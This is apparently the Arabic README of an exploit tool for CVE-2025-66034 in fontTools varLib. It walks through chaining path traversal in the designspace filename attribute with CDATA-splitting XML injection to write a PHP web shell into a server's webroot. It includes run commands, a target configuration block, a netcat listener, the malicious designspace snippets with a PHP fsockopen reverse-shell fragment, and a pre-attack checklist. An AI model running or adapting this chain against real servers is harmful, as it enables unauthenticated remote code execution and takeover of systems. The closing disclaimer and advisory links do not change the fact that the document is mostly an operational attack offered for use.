
استغلال آلي لـ CVE-2025-66034، يربط بين path traversal و XML injection في fontTools varLib لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر رفع ملف .designspace معدّل.
fontTools varLib — كتابة ملف عشوائي + حقن XML → تنفيذ تعليمات برمجية عن بُعد
CVE-2025-66034 هي ثغرة أمنية في خط إنتاج الخطوط المتغيرة fontTools.varLib. عندما يعرض تطبيق ويب هذا الخط ويقبل ملفات .designspace المقدمة من المستخدم، تتحد نقطتا ضعف لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة.
يقوم font_varlib.py بأتمتة سلسلة الاستغلال الكاملة — إنشاء الخط، صياغة الحمولة، الرفع، وتسليم الصدفة العكسية.
| الحقل | التفصيل |
|---|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| الحزمة | fonttools (pip) |
| النطاق المتأثر | >= 4.33.0, < 4.60.2 |
| تم الإصلاح في | 4.60.2 |
| الخطورة | متوسطة (CVSS 6.3) |
| ناقل الهجوم | محلي (يتطلب رفع ملف إلى الهدف) |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | مطلوب (رفع الملف) |
| # | البدائية | CWE | السبب الجذري |
|---|---|---|---|
| 1 | تجاوز المسار | CWE-22 | تمرير سمة filename في .designspace مباشرة إلى os.path.join() دون تنقية — المسارات المطلقة تتجاهل دليل الإخراج المقصود بالكامل |
| 2 | حقن XML | CWE-91 | تسلسل الفصل (]]]]><![CDATA[>) في أقسام <labelname> CDATA يسمح بتمرير كود PHP خام عبر محلل XML إلى ملف الإخراج المكتوب |
المهاجم يصوغ ملف .designspace خبيث
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── تجاوز المسار
│ os.path.join(output_dir, absolute_path)
│ → تجاهل output_dir → الكتابة في جذر الويب
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── حقن XML
انقسام CDATA يدمج كود PHP خام
في ملف الخط الثنائي الناتج
│
▼
fontTools.varLib.main() يعالج الملف من جانب الخادم
│
▼
shell.php مكتوب في دليل يمكن الوصول إليه عبر الويب
│
▼
GET /files/shell.php → تنفيذ PHP → استدعاء الصدفة العكسية
│
▼
تنفيذ تعليمات برمجية كـ www-data
Python: 3.9+
التبعيات:
pip install fonttools requests
النظام:
nc (netcat) — مطلوب لوضع المستمع التلقائي (--no-listen يتخطى ذلك)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
قبل التشغيل، افتح font_varlib.py وقم بتحديث كتلة التكوين في أعلى الملف لتتناسب مع هدفك. كل قيمة لها تعليق توضيحي يشرح ما هي وكيفية العثور على القيمة الصحيحة.
# ══════════════════════════════════════════════════════════════════════════════
# الإعدادات الافتراضية
# غيّر هذه القيم لتتناسب مع هدفك قبل التشغيل.
# يمكن أيضًا تجاوز جميع القيم أثناء التشغيل عبر علامات سطر الأوامر — راجع --help.
# ══════════════════════════════════════════════════════════════════════════════
# عنوان URL الأساسي لمضيف الرفع (الموقع الذي يقبل ملف .designspace)
UPLOAD_HOST = "http://test.com"
# المسار على مضيف الرفع الذي يعالج طلب POST متعدد الأجزاء
# أكد باستخدام Burp — ابحث عن POST بعد النقر على زر التوليد
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# مسار نظام الملفات المطلق على الخادم حيث تُكتب ملفات الإخراج
# يجب أن يكون قابلاً للوصول عبر الويب حتى يمكن تشغيل الصدفة عبر HTTP
WEBROOT = "/var/www/test.com/public/files"
# عنوان URL الأساسي المستخدم لجلب/تشغيل ملف الصدفة المكتوب
# يطابق WEBROOT على القرص
SHELL_HOST = "http://testing.test.com/files"
# أسماء حقول النموذج متعدد الأجزاء — أكد باستخدام Burp قبل التشغيل
# إذا فشل الرفع بصمت (HTTP 200 ولكن لا توجد صدفة)، فإن أسماء الحقول الخاطئة هي السبب
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# بادئة اسم ملف الصدفة — يتم إلحاق لاحقة عشوائية وقت التشغيل
SHELL_PREFIX = "f0nt_"
# طول اللاحقة العشوائية — أطول يعني أصعب في التخمين
SHELL_SUFFIX_LEN = 8
نصيحة: اعترض طلب رفع شرعي في Burp Suite لتأكيد
UPLOAD_ENDPOINTوأسماء الحقول متعددة الأجزاء قبل التشغيل. يؤدي عدم تطابق أسماء الحقول إلى فشل صامت — يعيد الخادم HTTP 200 ولكن لا تُكتب أي صدفة.
python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port <المنفذ>
# الطرفية 1 — ابدأ المستمع خاصتك
nc -lvnp 4444
# الطرفية 2 — شغّل الأداة بدون مستمع تلقائي
python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| الوسيط | مطلوب | الافتراضي | الوصف |
|---|---|---|---|
--ip | ✓ | — | عنوان IP الخاص بمستمع المهاجم |
--port | ✓ | — | منفذ مستمع المهاجم |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | نقطة نهاية الرفع (POST) | |
--webroot | WEBROOT | مسار الكتابة على نظام ملفات الخادم (يجب أن يكون قابلاً للوصول عبر الويب) | |
--shell | SHELL_HOST | عنوان URL الأساسي المستخدم لتشغيل الصدفة المكتوبة | |
--no-listen | false | تخطي مستمع nc التلقائي — تشغيل فقط |
يتم إنشاء ملفي مصدر .ttf صغيرين ولكنهما صالحان هيكليًا برمجيًا باستخدام fontTools.FontBuilder. يتطلب varLib على الأقل محورين رئيسيين لمعالجة خط متغير — هذه تلبي هذا المطلب دون الحاجة إلى ملفات خطوط حقيقية على القرص.
يتم إنشاء ملف XML .designspace خبيث يحتوي على كلتا البدائيتين الهجوميتين:
البدائية 1 — حقن XML عبر انقسام CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
التسلسل ]]]]><![CDATA[> ينهي كتلة CDATA الحالية ويفتح فورًا كتلة جديدة. يعالج محلل XML هذا كعلامة صالحة، لكن varLib يقوم بتسلسل المحتوى حرفيًا إلى ملف الإخراج — مضمنًا كود PHP خام في ملف الخط الثنائي.
البدائية 2 — تجاوز المسار عبر سمة filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
يبني varLib مسار الإخراج كالتالي:
output_path = os.path.join(output_dir, filename)
عندما يكون filename مسارًا مطلقًا، فإن os.path.join() في بايثون يتجاهل output_dir تمامًا. لا يتم تطبيق أي تنقية في الإصدارات المتأثرة.
يتم إرسال ملف .designspace وملفا .ttf كطلب POST متعدد الأجزاء إلى نقطة نهاية توليد الخطوط في الهدف باستخدام أسماء الحقول المؤكدة من Burp.
طلب HTTP GET إلى ملف .php المكتوب ينفذ الصدفة العكسية، والتي تتصل مرة أخرى بمستمع nc الخاص بالمهاجم عبر fsockopen + proc_open — لا حاجة إلى curl أو wget أو Python على الهدف.
fontTools/varLib/__init__.py (الإصدارات المتأثرة):
filename = vf.filename # يتحكم به المهاجم، غير منقى
output_path = os.path.join(output_dir, filename) # تجاوز المسار عبر المسار المطلق
vf.save(output_path) # كتابة ملف عشوائي
التصحيح في 4.60.2 — يفرض os.path.basename() على filename قبل بناء output_path، مما يزيل جميع تسلسلات تجاوز المسار.
قبل التشغيل، تأكد من جميع ما يلي:
[ ] إصدار fonttools على الهدف هو >= 4.33.0 و < 4.60.2
[ ] الهدف يقبل رفع ملفات .designspace + .ttf
[ ] النهاية الخلفية تستدعي fontTools.varLib.main() على ملف .designspace المرفوع
[ ] تأكيد أسماء حقول نموذج الرفع باستخدام Burp (designspace + masters)
[ ] WEBROOT يمكن الوصول إليه عبر الويب من الخارج
[ ] WEBROOT قابل للكتابة بواسطة عملية الويب (www-data أو ما يعادلها)
[ ] SHELL_HOST (--shell) يمكن الوصول إليه من جهازك
[ ] اسم مضيف الهدف موجود في /etc/hosts
| البيئة | إصدار fonttools | النتيجة |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ مؤكد |
هذه الأداة مقدمة لأغراض تعليمية وأبحاث أمنية مصرح بها فقط.
لا تستخدمها ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره. يخلي المؤلف مسؤوليته عن أي سوء استخدام أو أي ضرر يسببه هذا البرنامج.
| المصدر | الرابط |
|---|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| تنبيه أمني لـ fontTools | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Commit التصحيح — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| مشروع fontTools | https://github.com/fonttools/fonttools |